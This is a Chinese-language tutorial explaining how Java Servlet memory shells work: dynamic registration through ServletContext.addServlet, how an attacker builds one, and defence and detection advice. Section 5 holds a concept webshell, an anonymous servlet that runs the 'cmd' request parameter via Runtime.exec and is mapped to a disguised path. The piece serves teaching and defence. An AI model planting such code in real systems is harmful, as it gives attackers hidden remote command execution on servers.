一文读懂java内存马——Servlet篇
字数 3057 2025-10-14 00:33:59
Servlet内存马深度解析与实战教学
1. Servlet基础概念回顾
什么是Servlet?
- Servlet是Java EE/Jakarta EE规范的一部分,是运行在Servlet容器(如Tomcat)中的Java程序。
- 它作为Web客户端(如浏览器)与服务器端应用程序之间的中间层,基于“请求-响应”模型进行交互。
- 狭义上指
javax.servlet.Servlet接口,广义上指任何实现该接口的类(通常继承HttpServlet)。
标准Servlet运行流程:
- 客户端发送请求:浏览器发起HTTP请求。
- 容器接收请求:Servlet容器解析请求,根据URL映射寻找对应的Servlet。
- 实例化与初始化:若该Servlet实例不存在,容器加载其类并创建实例,调用
init()方法。 - 处理请求:容器调用
service()方法,并根据请求类型(GET/POST等)分派到相应的doGet()或doPost()方法。 - 生成响应:在
doGet()/doPost()方法中执行业务逻辑,生成响应内容。 - 返回响应:容器将响应返回给客户端。
- 销毁:容器关闭或需要回收资源时,调用
destroy()方法销毁Servlet。
关键点: Servlet一旦被容器加载并实例化,其类对象就驻留在JVM内存中。此时,即使磁盘上的原始.class文件被删除,只要容器不重启,该Servlet依然可以正常响应请求。这是内存马存在的根本前提。
2. 静态注册Servlet(传统方式)
这是标准的、基于配置文件的Servlet部署方式。
实现步骤:
-
创建Servlet类
package com.ex; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; public class MyServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { // 处理GET请求 resp.getWriter().println("This is My Servlet"); } } -
在
web.xml中配置映射<?xml version="1.0" encoding="UTF-8"?> <web-app version="4.0" ...> <servlet> <!-- 注册到容器中的逻辑名 --> <servlet-name>MyServlet</servlet-name> <!-- 对应的完整类路径 --> <servlet-class>com.ex.MyServlet</servlet-class> </servlet> <servlet-mapping> <!-- 与上面的逻辑名对应 --> <servlet-name>MyServlet</servlet-name> <!-- 浏览器访问的URL路径 --> <url-pattern>/myservlet</url-pattern> </servlet-mapping> </web-app>
特点与局限性:
- 持久化:配置信息保存在
web.xml文件中。 - 文件依赖:虽然运行时类已加载到内存,不依赖
.class文件,但服务重启时,容器需要重新读取web.xml和.class文件来重新注册。如果.class文件已被删除,重启后将无法成功注册,导致服务失效。 - 不适用于内存马:攻击者通常无法修改
web.xml或上传.class文件,因此静态注册不适合用于植入内存马。
3. Servlet内存马核心原理:动态注册
Servlet内存马的本质是利用Web容器的动态注册API,在运行时将恶意Servlet类注入到JVM内存中,并完成URL映射。
核心原理:
- 利用漏洞获取运行时上下文:通过远程代码执行(RCE)等漏洞,获取到当前Web应用的
ServletContext对象。 - 动态创建Servlet:通过Java反射等机制,动态定义一个实现了恶意功能的Servlet类,并实例化。
- 动态注册映射:使用
ServletContext的addServlet和addMapping方法,将恶意Servlet实例注册到容器中,并绑定到一个隐蔽的URL路径。 - 内存驻留:注册成功后,恶意Servlet的类实例和映射关系完全存在于内存中,无文件落地,具有极高的隐蔽性。服务重启后,内存马失效。
关键点: 动态注册绕过了对web.xml和磁盘文件的依赖,完全在内存中完成所有操作。
4. 动态注册Servlet的关键API
要理解内存马,必须掌握Servlet 3.0+规范引入的动态注册功能。
核心接口与类:
javax.servlet.ServletContext:代表一个Web应用程序的上下文环境。javax.servlet.ServletRegistration.Dynamic:用于动态配置Servlet。
关键方法:
ServletContext.addServlet(String servletName, Servlet servlet):向上下文注册一个Servlet实例。返回一个ServletRegistration.Dynamic对象。ServletRegistration.Dynamic.addMapping(String... urlPatterns):为刚注册的Servlet添加一个或多个URL映射模式。
示例代码(合法用途):
// 1. 获取ServletContext(在Servlet中可以直接通过this.getServletContext()获取)
ServletContext servletContext = ...;
// 2. 创建你自己的Servlet实例
MyServlet myServlet = new MyServlet();
// 3. 动态注册并设置映射
ServletRegistration.Dynamic dynamic = servletContext.addServlet("MyDynamicServlet", myServlet);
dynamic.addMapping("/dyn");
5. Servlet内存马实战构造思路
假设攻击者已经通过某种方式(如反序列化、文件上传、表达式注入等)获得了在目标服务器上执行Java代码的能力。
构造步骤:
-
获取当前Web应用的
ServletContext- 在JSP环境中,可以通过内置对象
application或pageContext.getServletContext()获取。 - 在纯Java代码中,可能需要通过当前线程的上下文类加载器或已知的Servlet实例间接获取。
- 在JSP环境中,可以通过内置对象
-
定义恶意Servlet类
- 通常使用匿名内部类或动态字节码技术在内存中直接创建一个
HttpServlet的子类,避免依赖磁盘上的类文件。 - 恶意功能通常写在
doGet/doPost方法中,例如:执行系统命令、上传下载文件、连接木马等。
- 通常使用匿名内部类或动态字节码技术在内存中直接创建一个
-
实例化并动态注册
- 实例化上一步定义的恶意Servlet类。
- 调用
servletContext.addServlet()进行注册。 - 调用
dynamic.addMapping()绑定到一个不易被发现的URL路径(如/upload.jsp、/api/health等)。
-
(可选)初始化参数
- 通过
ServletRegistration.Dynamic.setLoadOnStartup(1)设置随容器启动而初始化。 - 通过
setInitParameter设置初始化参数。
- 通过
简化版概念代码示例:
// 假设已通过漏洞获取到servletContext
ServletContext servletContext = ...;
// 动态创建并注册内存马
ServletRegistration.Dynamic dynamic = servletContext.addServlet(
"MemoryShell", // 随便起个名字
new HttpServlet() { // 匿名内部类,无文件落地
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
String cmd = req.getParameter("cmd");
if (cmd != null) {
// 这是一个极其危险的命令执行示例
Process process = Runtime.getRuntime().exec(cmd);
// ... 读取进程输出并写入resp ...
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
);
dynamic.addMapping("/secret.jsp"); // 映射到隐蔽路径
dynamic.setLoadOnStartup(1);
关键点: 整个过程中,恶意Servlet的字节码和注册信息仅存在于JVM堆内存中,没有任何文件写入操作,传统基于文件扫描的防护手段难以检测。
6. 关键知识点总结
- 生存基础:Servlet容器“加载类后,实例驻留内存,不依赖源文件”的特性是内存马生存的土壤。
- 实现手段:利用Servlet 3.0+提供的
ServletContext.addServlet动态注册API是实现Servlet内存马的技术核心。 - 隐蔽性:无文件落地,所有恶意代码和配置均在内存中,是内存马最大的威胁。
- 非持久化:内存马的生命周期与Web容器相同,容器重启则失效,属于“非持久化”后门。
- 依赖初始攻击:植入内存马的前提是攻击者必须先获得一个代码执行漏洞,利用该漏洞作为“跳板”来执行动态注册的代码。
7. 防御与检测建议
- 预防初始入侵:及时修补Web框架、中间件、应用代码中的RCE漏洞,防止攻击者获得执行代码的“跳板”。
- 运行时监控:
- 监控JVM中已加载的类和Servlet映射列表,与基准线进行对比,发现可疑的类名和URL映射。
- 使用RASP(运行时应用自我保护)技术,对
ServletContext.addServlet等关键方法进行钩子监控和行为分析。
- 内存扫描:使用专门的内存马检测工具,对JVM内存进行Dump和分析,查找可疑的Servlet实例和映射关系。
- 最小权限原则:运行Java容器的用户应遵循最小权限原则,降低被利用后的影响。
文档说明:
本文档完全基于您提供的链接内容生成,对原文知识进行了结构化整理、深化和扩展,剔除了不相关的描述和广告信息,专注于Servlet内存马的教学核心。关键点均已涵盖。